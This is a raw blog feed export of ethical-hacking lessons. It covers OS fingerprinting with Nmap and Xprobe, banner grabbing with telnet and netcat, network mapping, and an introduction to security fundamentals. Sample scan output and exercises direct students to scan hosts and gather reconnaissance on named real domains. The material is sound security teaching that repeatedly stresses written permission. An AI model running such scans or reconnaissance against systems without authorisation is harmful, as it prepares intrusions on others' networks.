Interesting ports on 192.168.1.108: &lt;br /&gt;
(The 1653 ports scanned but not shown below are in state: closed) &lt;br /&gt;
PORT  STATE SERVICE &lt;br /&gt;
80/tcp open http &lt;br /&gt;
139/tcp open netbios-ssn &lt;br /&gt;
515/tcp open printer &lt;br /&gt;
548/tcp open afpovertcp &lt;br /&gt;
Device type: general purpose &lt;br /&gt;
Running: Linux 2.4.X|2.5.X &lt;br /&gt;
OS details: Linux Kernel 2.4.0 - 2.5.20 &lt;br /&gt;
Uptime 0.282 days (since Fri Oct 07 09:01:33 2005) &lt;br /&gt;
Nmap run completed -- 1 IP address (1 host up) scanned in 4.927 seconds &lt;br /&gt;
&lt;br /&gt;
You might also want to try Nmap with the -vor -vv switch. There are 
devices such as F5 Load Balancer that will not identify themselves using
 a normal -O scan but will reveal their ID with the -vv switch. Just 
remember that with Nmap or any other active fingerprint tool, you are 
injecting packets into the network. This type of activity can be tracked
 and monitored by an IDS. Active fingerprinting tools, such as Nmap, can
 be countered by tweaking the OS&#39;s stack. Anything that tampers with 
this information can affect the prediction of the target&#39;s OS version. &lt;br /&gt;
&lt;br /&gt;
Nmap&#39;s dominance of active fingerprinting is being challenged by a new 
breed of tools. One such tool is Xprobe. Xprobe 2 is a Linux-based 
active OS fingerprinting tool with a different approach to operating 
system fingerprinting. Xprobe is unique in that it uses a mixture of 
TCP, UDP, and ICMPto slip past firewalls and avoid IDS systems. Xprobe2 
relies on fuzzy signature matching. In layman&#39;s terms, this means that 
targets are run through a variety of tests. These results are totaled, 
and the user is presented with a score that tells the probability of the
 targeted machine&#39;s OS-for example, 75 percent Windows XP and 60 percent
 Windows 2000. &lt;br /&gt;
&lt;br /&gt;
Because some of you might actually prefer GUI tools, the final 
fingerprinting tool for discussion is Winfingerprint. This Windows-based
 tool can harvest a ton of information about Windows servers. It allows 
scans on a single host or the entire network neighborhood. You can also 
input a list of IP addresses or specify a custom IP range to be scanned.
 After a target is found, Winfingerprint can obtain NetBIOS shares, disk
 information, services, users, groups, detection of Service Pack, and 
even Hotfixes. A screenshot of Winfingerprint can be seen in Figure 
3.10. &lt;br /&gt;
&lt;br /&gt;
&lt;img alt=&quot;&quot; border=&quot;0&quot; src=&quot;http://www.go4expert.com/forums/images/articles/ethicalhackingpart3/image020.gif&quot; /&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;h3 class=&quot;articleheading&quot;&gt;
Fingerprinting Services&lt;/h3&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Objective:&lt;/b&gt; &lt;br /&gt;
Be able to perform banner grabbing with tools such as Telnet and netcat &lt;br /&gt;
&lt;br /&gt;
If there is any doubt left as to what a particular system is running, 
this next step of information gathering should serve to answer those 
questions. Knowing what services are running on specific ports allows 
the hacker to formulate and launch application specific attacks. Knowing
 the common default ports and services and using tools such as Telnet, 
FTP, and Netcat are two techniques that can be used to ensure success at
 this pre-attack stage. &lt;br /&gt;
&lt;br /&gt;
Default Ports and Services &lt;br /&gt;
&lt;br /&gt;
A certain amount of default information and behavior can be gleamed from
 any system. For example, if a hacker discovers a Windows 2003 system 
with port 80 open, he can assume that the system is running IIS 6.0, 
just as a Linux system with port 25 open is likely to be running 
sendmail. Although it&#39;s possible that the Windows 2003 machine might be 
running a version of Apache, that most likely is not a common 
occurrence. &lt;br /&gt;
&lt;br /&gt;
Just keep in mind that at this point, the attacker is making 
assumptions. Just because a particular port is active or a known banner 
is returned, you cannot be certain that information is correct. Ports 
and banners can be changed and assumptions by themselves can be 
dangerous. Additional work will need to be done to verify what services 
are truly being served up by any open ports. &lt;br /&gt;
&lt;br /&gt;
Finding Open Services &lt;br /&gt;
&lt;br /&gt;
The scanning performed earlier in the lesson might have uncovered other 
ports that were open. Most scanning programs, such as Nmap and 
SuperScan, will report what common services are associated with those 
open ports. This easiest way to determine what services are associated 
with the open ports that were discovered is by banner grabbing. &lt;br /&gt;
&lt;br /&gt;
Banner grabbing takes nothing more than the Telnet and FTP client built 
in to the Windows and Linux platforms. Banner grabbing provides 
important information about what type and version of software is 
running. Many servers can be exploited with just a few simple steps if 
the web server is not properly patched. Telnet is an easy way to do this
 banner grabbing for FTP, SMTP, HTTP, and others. The command issued to 
banner grab with Telnet would contain the following syntax: Telnet 
(IP_Address) Port. Any example of this is shown here. This banner 
grabbing attempt was targeted against a web server. &lt;br /&gt;
&lt;br /&gt;
C:\&amp;gt;telnet 192.168.1.102 80 &lt;br /&gt;
HTTP/1.1 400 Bad Request &lt;br /&gt;
Server: Microsoft-IIS/5.0 &lt;br /&gt;
Date: Fri, 07 Oct 2005 22:22:04 GMT &lt;br /&gt;
Content-Type: text/html &lt;br /&gt;
&lt;br /&gt;
Content-Length: 87 &lt;br /&gt;
&amp;lt;html&amp;gt;&amp;lt;head&amp;gt;&amp;lt;title&amp;gt;Error&amp;lt;/title&amp;gt;&amp;lt;/head&amp;gt;&amp;lt;body&amp;gt;The
 parameter is incorrect. &amp;lt;/body&amp;gt; &amp;lt;/html&amp;gt; &lt;br /&gt;
Connection to host lost. &lt;br /&gt;
&lt;br /&gt;
After the command was entered, telnet 192.168.1.102 80, the Return key 
was pressed a couple of times to generate a response. As noted in the 
Telnet response, this banner indicates that the web server is IIS 5.0. &lt;br /&gt;
&lt;br /&gt;
EXAM ALERT &lt;br /&gt;
&lt;br /&gt;
The Microsoft IIS web server&#39;s default behavior is to return a banner 
after two carriage returns. This can be used to pinpoint the existence 
of an IIS server. &lt;br /&gt;
&lt;br /&gt;
Telnet isn&#39;t your only option for grabbing banners; netcat is another 
option. Netcat is shown here to introduce you to its versatility. Netcat
 is called the &quot;Swiss army knife of hacking tools&quot; because of its many 
uses. To banner grab with netcat, you would issue the following command 
for the command line: &lt;br /&gt;
&lt;br /&gt;
nc -v -n IP_Address Port &lt;br /&gt;
&lt;br /&gt;
This command will give you the banner of the port you asked to check. 
Netcat is available for Windows and Linux. If you haven&#39;t downloaded 
netcat, don&#39;t feel totally left behind, as FTP is another choice for 
banner grabbing. Just FTP to the target server and review the returned 
banner. &lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;NOTE&lt;/b&gt; &lt;br /&gt;
&lt;br /&gt;
Although changing banner information is not an adequate defense by 
itself, it might help to slow a hacker. In the Windows environment, you 
can install the UrlScan security tool. UrlScan contains the 
RemoveServerHeader feature, which removes or alters the identity of the 
server from the &quot;Server&quot; response header in response to the client&#39;s 
request. &lt;br /&gt;
&lt;br /&gt;
Most all port scanners, including those discussed in this lesson, also perform banner grabbing. &lt;br /&gt;
&lt;br /&gt;
Mapping the Network &lt;br /&gt;
&lt;br /&gt;
The hacker would have now gained enough information to map the network. 
Mapping the network provides the hacker with a blueprint of the 
organization. There are manual and automated ways to compile this 
information. Manual and automated tools are discussed in the following 
sections. &lt;br /&gt;
&lt;br /&gt;
Manual Mapping &lt;br /&gt;
&lt;br /&gt;
If you have been documenting findings, the matrix you began at the start
 of this lesson should be overflowing with information. This matrix 
should now contain domain name information, &lt;br /&gt;
&lt;br /&gt;
IP addresses, DNS servers, employee info, company location, phone 
numbers, yearly earnings, recently acquired organizations, email 
addresses, the publicly available IP address range, open ports, wireless
 access points, modem lines, and banner details. &lt;br /&gt;
&lt;br /&gt;
Automated Mapping &lt;br /&gt;
&lt;br /&gt;
If you prefer a more automated method of mapping the network, a variety 
of tools are available. Visual traceroute programs, such as NeoTrace and
 Visual Route, are one option. Running traceroute to different servers, 
such as web, email, and FTP, can help you map out the placement of these
 servers. Automatic mapping can be faster but might generate errors or 
sometimes provide erroneous results. &lt;br /&gt;
&lt;br /&gt;
When Your Traceroutes Led to the Middle of the Atlantic Ocean &lt;br /&gt;
&lt;br /&gt;
Not quite the middle of the ocean, but the country of Sealand is about 
six miles off the coast of England. This platform of concrete and steel 
was originally built during World War II to be used as an anti-aircraft 
platform but later abandoned. Established as its own country since 1967,
 the country of Sealand now provides non-traceable network services and 
has the world&#39;s most secure managed servers. Because Sealand is its own 
country, servers located there are exempt from government subpoenas and 
search and seizures of equipment or data. Some might see this as 
ultimate privacy, whereas others might interpret this as a haven for 
illegal activities. &lt;br /&gt;
&lt;br /&gt;
NLog is one option to help keep track of your scanning and mapping 
information. NLog allows you to automate and track the results of your 
nmap scans. It allows you to keep all of your nmap scan logs in a 
database, making it possible to easily search for specific entries. It&#39;s
 browser based, so you can easily view the scan logs in a highly 
customizable format. You can add your own extension scripts for 
different services, so all hosts running a certain service will have a 
hyperlink to the extension script. &lt;br /&gt;
&lt;br /&gt;
Cheops is another network mapping option. If run from the Internet, the 
tool will be limited to devices that it can contact. These will most 
likely be devices within the demilitarized zone (DMZ). Run internally, 
it will diagram a large portion of the network. In the hands of a 
hacker, it&#39;s a powerful tool, as it uses routines taken from a variety 
of other tools that permit it to perform OS detection port scans for 
service detection and network mapping using common traceroute 
techniques. Linux users can download itfrom &lt;a href=&quot;http://www.marko.net/cheops&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;www.marko.net/cheops&lt;/a&gt;. &lt;br /&gt;
&lt;br /&gt;
THE SEVEN STEPS OF THE pre-attach PHASE &lt;br /&gt;
Step Title Active/Passive Common Tools &lt;br /&gt;
One Information gathering Passive Sam Spade, ARIN, IANA, Whois, Nslookup &lt;br /&gt;
Two Determining network Passive RIPE, APNIC, ARIN &lt;br /&gt;
 range  &lt;br /&gt;
Three Identify active machines Active Ping, traceroute, Superscan, Angry IP scanner &lt;br /&gt;
Four Finding open ports and Active Nmap, Amap, SuperScan &lt;br /&gt;
 applications  &lt;br /&gt;
Five OS fingerprinting Active/passive Nmap, Winfigerprint, P0f, Xprobe2, ettercap &lt;br /&gt;
Six Fingerprinting services Active Telnet, FTP, Netcat &lt;br /&gt;
Seven Mapping the network Active Cheops, traceroute, NeoTrace &lt;br /&gt;
&lt;br /&gt;
Summary &lt;br /&gt;
In this lesson, you learned the seven steps that compose the pre-attach 
phase. These include information gathering, determining the network 
range, identifying active machines, finding open ports and access 
points, OS fingerprinting, fingerprinting services, and mapping the 
network. &lt;br /&gt;
&lt;br /&gt;
This lesson is an important step for the ethical hacker because at this 
point, you are attempting to gather enough information to launch an 
attack. The more information that is gathered here, the better the 
chance of success. An important part of ethical hacking is 
documentation. That&#39;s why several ways to collect and document your 
findings are shown. These notes will be useful when you prepare your 
report. Finally, make sure that the organization has given you written 
permission before beginning any work, even the reconnaissance. &lt;br /&gt;
&lt;br /&gt;
Key Terms &lt;br /&gt;
. Active fingerprinting &lt;br /&gt;
. CNAMES &lt;br /&gt;
. Covert channel &lt;br /&gt;
. Demilitarized zone (DMZ) &lt;br /&gt;
. DoS &lt;br /&gt;
. Echo reply &lt;br /&gt;
. Echo request &lt;br /&gt;
. EDGAR database &lt;br /&gt;
. Google dorks &lt;br /&gt;
. Google hacking &lt;br /&gt;
. Initial Sequence Number &lt;br /&gt;
. Internet Assigned Numbers Authority &lt;br /&gt;
(IANA) &lt;br /&gt;
. Information matrix &lt;br /&gt;
. Intrusion detection system &lt;br /&gt;
. Nslookup &lt;br /&gt;
. Open source &lt;br /&gt;
. Ping sweep &lt;br /&gt;
. Passive fingerprinting &lt;br /&gt;
. Port knocking &lt;br /&gt;
. Port scanning &lt;br /&gt;
. Scope creep &lt;br /&gt;
. Script kiddie &lt;br /&gt;
. Simple Network Monitoring Protocol &lt;br /&gt;
(SNMP) &lt;br /&gt;
. Social engineering &lt;br /&gt;
. Synchronize sequence number &lt;br /&gt;
. Time-to-live (TTL) &lt;br /&gt;
. Traceroute &lt;br /&gt;
. Wardialing &lt;br /&gt;
. Wardriving &lt;br /&gt;
. Whois &lt;br /&gt;
. Written authorization &lt;br /&gt;
. Zone transfer&lt;br /&gt;
&lt;br /&gt;
Exercise 3.0&lt;br /&gt;
1. Open a command prompt on your Windows PC and enter ping. &lt;br /&gt;
&lt;br /&gt;
2. You will see a list of commands that specify how ping works. Use that information to complete the table below. &lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;margin-top: 5px; margin: 20px;&quot;&gt;
	&lt;div class=&quot;smallfont&quot; style=&quot;margin-bottom: 2px;&quot;&gt;
Code:&lt;/div&gt;
&lt;pre class=&quot;alt2&quot; dir=&quot;ltr&quot; style=&quot;border: 1px inset; height: 114px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 640px;&quot;&gt;Option  Meaning of Specific Option
-t  
-a  
-l  
-f  
-I&lt;/pre&gt;
&lt;/div&gt;
3. Now enter tracertfrom the command line and observe the options. Record your findings in the table below.&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;margin-top: 5px; margin: 20px;&quot;&gt;
	&lt;div class=&quot;smallfont&quot; style=&quot;margin-bottom: 2px;&quot;&gt;
Code:&lt;/div&gt;
&lt;pre class=&quot;alt2&quot; dir=&quot;ltr&quot; style=&quot;border: 1px inset; height: 66px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 640px;&quot;&gt;Option Meaning of Option
-d 
-h&lt;/pre&gt;
&lt;/div&gt;
4. Use ping with the -r option to ping &lt;a href=&quot;http://www.microsoft.com/&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;www.microsoft.com&lt;/a&gt;. &lt;br /&gt;
&lt;br /&gt;
5. Now open a second command prompt and use tracert to trace the route to &lt;a href=&quot;http://www.microsoft.com/&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;www.microsoft.com&lt;/a&gt;. &lt;br /&gt;
&lt;br /&gt;
Do you see any differences? Each router should respond using the IP 
address of the interface it transmits the ICMP Timeout messages on, 
which should be the same as the interface it received the original 
packets on, whereas ping uses the -r option to record the path of 
routers the echo request/reply message used. Together, these two tools 
can be used to map a more accurate diagram of the network.&lt;br /&gt;
&lt;br /&gt;
Exercise 3.1 Performing Passive Reconnaissance&lt;br /&gt;
&lt;br /&gt;
The best way to learn passive information gathering is to use the tools.
 In this exercise, you will perform reconnaissance on several 
organizations. &lt;br /&gt;
&lt;br /&gt;
Acquire only the information requested. &lt;br /&gt;
&lt;br /&gt;
1. Review the table below to determine the target of your passive information gathering.&lt;br /&gt;
&lt;div style=&quot;margin-top: 5px; margin: 20px;&quot;&gt;
	&lt;div class=&quot;smallfont&quot; style=&quot;margin-bottom: 2px;&quot;&gt;
Code:&lt;/div&gt;
&lt;pre class=&quot;alt2&quot; dir=&quot;ltr&quot; style=&quot;border: 1px inset; height: 82px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 640px;&quot;&gt;Domain Name     | IP Address   | Location  | Contact  | Person | Phone Number  | Address 
Redriff.com     |              |           |          |        |               |    
Examcram.com    | 72.3.246.59  |           |          |        |               |    
Rutgers.edu     |              |           |          |        |               |&lt;/pre&gt;
&lt;/div&gt;
2. Start by resolving the IP address. This can be done by pinging the site. &lt;br /&gt;
&lt;br /&gt;
3. Next, use a tool such as Sam Spade or any of the other tools mentioned throughout the chapter. &lt;br /&gt;
Some of these include &lt;br /&gt;
&quot; &lt;a href=&quot;http://www.betterwhois.com/&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;www.betterwhois.com&lt;/a&gt; &lt;br /&gt;
&quot; &lt;a href=&quot;http://www.allwhois.com/&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;www.allwhois.com&lt;/a&gt; &lt;br /&gt;
&quot; &lt;a href=&quot;http://geektools.com/&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://geektools.com&lt;/a&gt; &lt;br /&gt;
&quot; &lt;a href=&quot;http://www.all-nettools.com/&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;www.all-nettools.com&lt;/a&gt; &lt;br /&gt;
&quot; &lt;a href=&quot;http://www.dnsstuff.com/&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;www.dnsstuff.com&lt;/a&gt; &lt;br /&gt;
&quot; &lt;a href=&quot;http://www.samspade.org/&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;www.samspade.org&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
4. To verify the location of the organization, perform a traceroute or a ping with the -r option. &lt;br /&gt;
&lt;br /&gt;
5. Use the ARIN, RIPE, and IANA to fill in any information you have yet to acquire. &lt;br /&gt;
&lt;br /&gt;
Exercise 3.2 Performing Active Reconnaissance &lt;br /&gt;
&lt;br /&gt;
The best way to learn active information gathering is to use the tools. 
In this exercise, you will perform reconnaissance on Linsly&#39;s own 
internal network (192.168.42.5)  note: if this does not work as it might
 be accessible only via campus, try scanning your own network via your 
computers IP address)&lt;br /&gt;
&lt;br /&gt;
1. Download the most current version of Nmap from &lt;a href=&quot;http://www.insecure.org/nmap/download.html&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;www.insecure.org/nmap/download.html&lt;/a&gt;. For Windows systems, the most current version is 3.95. &lt;br /&gt;
&lt;br /&gt;
2. Open a command prompt and go to the directory that you have installed Nmap in. &lt;br /&gt;
&lt;br /&gt;
3. Run Nmap -h from the command line to see the various options. &lt;br /&gt;
&lt;br /&gt;
4. You&#39;ll notice that Nmap has many different options. Review and find 
the option for a full connect scan. Enter your result here: ______ &lt;br /&gt;
&lt;br /&gt;
5. Review and find the option for a stealth scan. Enter your result here: ____ &lt;br /&gt;
&lt;br /&gt;
6. Review and find the option for a UDP scan. Enter your result here: ____ &lt;br /&gt;
&lt;br /&gt;
7. Review and find the option for a fingerprint scan. Enter your result here: ____ &lt;br /&gt;
&lt;br /&gt;
8. Perform a full connect scan on one of the local devices you have 
identified on your network. Type the command here _____________. &lt;br /&gt;
&lt;br /&gt;
9. Perform a stealth scan on one of the local devices you have 
identified on your network. Type the command here: ________________.&lt;br /&gt;
&lt;br /&gt;
10. Perform a UDP scan on one of the local devices you have identified on your network. Type the command here ________________.&lt;br /&gt;
&lt;br /&gt;
11. Perform a fingerprint scan on one of the local devices you have 
identified on your network. Type the command here _____________. &lt;br /&gt;
&lt;br /&gt;
12. Observe the results of each scan. Was Nmap capable of successfully 
identifying the system? Were the ports it identified correct?
		
&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://eh4ck3r.blogspot.com/feeds/4564329284700948711/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://eh4ck3r.blogspot.com/2012/10/introduction-this-lesson-introduces-you_19.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1025344304635377260/posts/default/4564329284700948711'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1025344304635377260/posts/default/4564329284700948711'/><link rel='alternate' type='text/html' href='http://eh4ck3r.blogspot.com/2012/10/introduction-this-lesson-introduces-you_19.html' title=''/><author><name>Mµkè$h</name><uri>http://www.blogger.com/profile/03129457919934812935</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1025344304635377260.post-8338295596136060082</id><published>2012-10-19T12:08:00.001-07:00</published><updated>2012-10-19T12:08:21.948-07:00</updated><title type='text'></title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
   
  

  
   
  &lt;br /&gt;
Introduction &lt;br /&gt;
&lt;br /&gt;
This lesson introduces you to the world of ethical hacking. Ethical 
hacking is a form of legal hacking that is done with the permission of 
an organization to help increase its security. This lesson discusses 
many of the business aspects of penetration (pen) testing. Information 
about how to perform a pen test, what types can be performed, what are 
the legal requirements, and what type of report should be delivered are 
all basic items that you will need to know before you perform any type 
of security testing. However, first, you need to review some security 
basics. This lesson starts with a discussion of confidentiality, 
integrity, and availability. Finally, the lesson finishes up with the 
history of hacking and a discussion of some of the pertinent laws. &lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;NOTE&lt;/b&gt; &lt;br /&gt;
&lt;br /&gt;
Nothing learned in this class is intended to teach or encourage the use 
of security tools or methodologies for illegal or unethical purposes. 
Always act in a responsible manner. Make sure that you have written 
permission from the proper individuals before you use any of the tools 
or techniques described within. Always obtain permission before 
installing any of these tools on a network. &lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Security Fundamentals&lt;/b&gt; &lt;br /&gt;
&lt;br /&gt;
Security is about finding a balance, as all systems have limits. No one 
person or company has unlimited funds to secure everything, and we 
cannot always take the most secure approach. One way to secure a system 
from network attack is to unplug it and make it a standalone system. 
Although this system would be relatively secure from Internet-based 
attackers, its usability would be substantially reduced. The opposite 
approach of plugging it in directly to the Internet without any 
firewall, antivirus, or security patches would make it extremely 
vulnerable, yet highly accessible. So, here again, you see that the job 
of security professionals is to find a balance somewhere between 
security and usability. Figure 1.1 demonstrates this concept.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
To find this balance, you need to know what the goals of the 
organization are, what security is, and how to measure the threats to 
security. The next section discusses the goals of security. &lt;br /&gt;
&lt;br /&gt;
&lt;h3 class=&quot;articleheading&quot;&gt;
Goals of Security&lt;/h3&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Objective:&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Understand the security triangle, also known as CIA (confidentiality, integrity, and availability). &lt;br /&gt;
&lt;br /&gt;
There are many ways in which security can be achieved, but it’s 
universally agreed that the security triad of confidentiality, 
integrity, and availability (CIA) form the basic building blocks of any 
good security initiative. &lt;br /&gt;
&lt;br /&gt;
Confidentiality addresses the secrecy and privacy of information. 
Physical examples of confidentiality include locked doors, armed guards,
 and fences. Logical examples of confidentiality can be seen in 
passwords, encryption, and firewalls. In the logical world, 
confidentiality must protect data in storage and in transit. For a 
real-life example of the failure of confidentiality, look no further 
than the recent news reports that have exposed how several large-scale 
breaches in confidentiality were the result of corporations, such as 
Time Warner and City National Bank, misplacing or losing backup tapes 
with customer accounts, names, and credit information. The simple act of
 encrypting thebackup tapes could have prevented or mitigated the 
damage. &lt;br /&gt;
&lt;br /&gt;
Integrity is the second piece of the CIA security triad. Integrity 
provides for the correctness of information. It allows users of 
information to have confidence in its correctness. Correctness doesn’t 
mean that the data is accurate, just that it hasn’t been modified in 
storage or transit. Integrity can apply to paper or electronic 
documents. It is much easier to verify the integrity of a paper document
 than an electronic one. Integrity in electronic documents and data is 
much more difficult to protect than in paper ones. Integrity must be 
protected in two modes: storage and transit. &lt;br /&gt;
&lt;br /&gt;
Information in storage can be protected if you use access and audit 
controls. Cryptography can also protect information in storage through 
the use of hashing algorithms. Real-life examples of this technology can
 be seen in programs such as Tripwire, MD5Sum, and Windows File 
Protection (WFP). Integrity in transit can be ensured primarily by the 
protocols used to transport the data. These security controls include 
hashing and cryptography. &lt;br /&gt;
&lt;br /&gt;
Availability is the third leg of the CIA triad. Availability simply 
means that when a legitimate user needs the information, it should be 
available. As an example, access to a backup facility 24x7 does not help
 if there are no updated backups from which to restore. Backups are one 
of the ways that availability is ensured. Backups provide a copy of 
critical information should files and data be destroyed or equipment 
fail. Failover equipment is another way to ensure availability. Systems 
such as redundant array of inexpensive disks (RAID) and subscription 
services such as redundant sites (hot, cold, and warm) are two other 
examples. Disaster recovery is tied closely to availability, as it’s all
 about getting critical systems up and running quickly. Denial of 
service (DoS) is an attack against availability. Although these attacks 
might not give access to the attacker, they dodeny legitimate users the 
access they require.&lt;br /&gt;
&lt;br /&gt;
&lt;h3 class=&quot;articleheading&quot;&gt;
Assets, Threats, and Vulnerabilities&lt;/h3&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Objectives:&lt;/b&gt; &lt;br /&gt;
&lt;br /&gt;
Recall essential terminology &lt;br /&gt;
List the elements of security &lt;br /&gt;
&lt;br /&gt;
As with any new technology topic, terminology is used that must be 
learned to better understand the field. To be a security professional, 
you need to understand the relationship between threats, assets, and 
vulnerabilities. &lt;br /&gt;
&lt;br /&gt;
Risk is the probability or likelihood of the occurrence or realization 
of a threat. There are three basic elements of risk: assets, threats, 
and vulnerabilities. Let’s discuss each of these. &lt;br /&gt;
&lt;br /&gt;
An asset is any item of economic value owned by an individual or 
corporation. Assets can be real — such as routers, servers, hard drives,
 and laptops — or assets can be virtual, such as formulas, databases, 
spreadsheets, trade secrets, and processing time. Regardless of the type
 of asset discussed, if the asset is lost, damaged, or compromised, 
there can be an economic cost to the organization. &lt;br /&gt;
&lt;br /&gt;
A threat is any agent, condition, or circumstance that could potentially
 cause harm, loss, damage, or compromise to an IT asset or data asset. 
From a security professional’s perspective, threats can be categorized 
as events that can affect the confidentiality, integrity, or 
availability of the organization’s assets. These threats can result in 
destruction, disclosure, modification, corruption of data, or denial of 
service. Some examples of the types of threats an organization can face 
include the following: &lt;br /&gt;
&lt;br /&gt;
Unauthorized Access&lt;blockquote&gt;
If userids and passwords to the 
organization’s infrastructure are obtained and confidential information 
is compromised and unauthorized, access is granted to the unauthorized 
user who obtained the userids and passwords.&lt;/blockquote&gt;
Stolen/Lost/Damaged/Modified Data&lt;blockquote&gt;
A critical threat can occur if the information is lost, damaged, or unavailable to legitimate users.&lt;/blockquote&gt;
Disclosure of Confidential Information&lt;blockquote&gt;
Anytimethere
 is a disclosure of confidential information, it can be a critical 
threat to an organization if that disclosure causes loss of revenue, 
causes potential liabilities, or provides a competitive advantage to an 
adversary.&lt;/blockquote&gt;
Hacker Attacks&lt;blockquote&gt;
An insider or outsider who is unauthorized and purposely attacks an organization’s components, systems, or data. &lt;/blockquote&gt;
Cyber Terrorism&lt;blockquote&gt;
Attackers
 whotarget critical, national infrastructures such as water plants, 
electric plants, gas plants, oil refineries, gasoline refineries, 
nuclear power plants, waste management plants, and so on.&lt;/blockquote&gt;
Viruses and Malware&lt;blockquote&gt;
An entirecategory of software tools that are malicious and are designed to damage or destroy a system or data.&lt;/blockquote&gt;
Denial of Service (DoS) or Distributed Denial of Service Attacks&lt;blockquote&gt;
An
 attack against availability that isdesigned to bring the network and/or
 access to a particular TCP/IP host/server to its knees by flooding it 
with useless traffic. Many DoSattacks, such as the Ping of Death and 
Teardrop, exploit limitations in the TCP/IP protocols. Like malware, 
hackers constantly develop new DoS attacks, so they form a continuous 
threat.&lt;/blockquote&gt;
Natural Disasters, Weather, or Catastrophic Damage&lt;blockquote&gt;
Hurricanes,
 such as Katrina that hit New Orleans in 2005, storms, weather outages, 
fire, flood, earthquakes, and other natural events compose an ongoing 
threat.&lt;/blockquote&gt;
If the organization is vulnerable to any of these threats, there is an increased risk of successful attack. &lt;br /&gt;
&lt;br /&gt;
A vulnerability is a weakness in the system design, implementation, 
software or code, or the lack of a mechanism. A specific vulnerability 
might manifest as anything from a weakness in system design to the 
implementation of an operational procedure. Vulnerabilities might be 
eliminated or reduced by the correct implementation of safeguards and 
security countermeasures. &lt;br /&gt;
&lt;br /&gt;
Vulnerabilities and weaknesses are common with software mainly because 
there isn’t any perfect software or code in existence. Vulnerabilities 
in software can be found in each of the following:&lt;br /&gt;
&lt;br /&gt;
Firmware&lt;blockquote&gt;
This software is usually stored in ROM and loaded during system power up.&lt;/blockquote&gt;
Operating System&lt;blockquote&gt;
This operating system software is loaded in workstations and servers.&lt;/blockquote&gt;
Configuration Files&lt;blockquote&gt;
The configuration file and configuration setup for the device.&lt;/blockquote&gt;
Application Software&lt;blockquote&gt;
The application or executable file that is run on a workstation or server.&lt;/blockquote&gt;
Software Patch&lt;blockquote&gt;
This
 is a small piece of software or code snippet that the vendor or 
developer of the software typically releases as software updates, 
software maintenance, and known software vulnerabilities or weaknesses.&lt;/blockquote&gt;
Vulnerabilities
 are not the only concern the ethical hacker will have. Exploits are a 
big concern, as they are a common mechanism used to gain access. That’s 
discussed next.&lt;br /&gt;
&lt;br /&gt;
Defining an Exploit &lt;br /&gt;
&lt;br /&gt;
An exploit refers to a piece of software, tool, or technique that takes 
advantage of a vulnerability that leads to privilege escalation, loss of
 integrity, or denial of service on a computer system. Exploits are 
dangerous because all software has vulnerabilities; hackers and 
perpetrators know that there are vulnerabilities and seek to take 
advantage of them. Although most organizations attempt to find and fix 
vulnerabilities, some organizations lack sufficient funds for securing 
their networks. Even those that do are burdened with the fact that there
 is a window between when a vulnerability is discovered and when a patch
 is available to prevent the exploit. The more critical the server, the 
slower it is typically patched. Management might be afraid of 
interrupting the server or afraid that the patch might affect stability 
or performance. Finally, the time required to deploy and install the 
software patch on production servers and workstations exposes an 
organization’s IT infrastructure to an additional period of risk.&lt;br /&gt;
&lt;br /&gt;
&lt;h3 class=&quot;articleheading&quot;&gt;
Security Testing&lt;/h3&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Objective:&lt;/b&gt; &lt;br /&gt;
&lt;br /&gt;
Define the modes of ethical hacking &lt;br /&gt;
Security testing is the primary job of ethical hackers. These tests 
might be configured in such way that the ethical hackers have no 
knowledge, full knowledge, or partial knowledge of the target of 
evaluation (TOE).&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;NOTE&lt;/b&gt; &lt;br /&gt;
&lt;br /&gt;
The term target of evaluation (TOE) is widely used to identify an IT 
product or system that is the subject of an evaluation. The EC-Council 
and some security guidelines and standards use the term to describe 
systems that are being tested to measure their confidentiality, 
integrity, and availability. &lt;br /&gt;
&lt;br /&gt;
The goal of the security test (regardless of type) is for the ethical 
hacker to test the security system and evaluate and measure its 
potential vulnerabilities.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;No Knowledge Tests (Blackbox)&lt;/b&gt; &lt;br /&gt;
&lt;br /&gt;
No knowledge testing is also known as blackbox testing. Simply stated, 
the security team has no knowledge of the target network or its systems.
 Blackbox testing simulates an outsider attack as outsiders usually 
don’t know anything about the network or systems they are probing. The 
attacker must gather all types of information about the target to begin 
to profile its strengths and weaknesses. The advantages of blackbox 
testing include &lt;br /&gt;
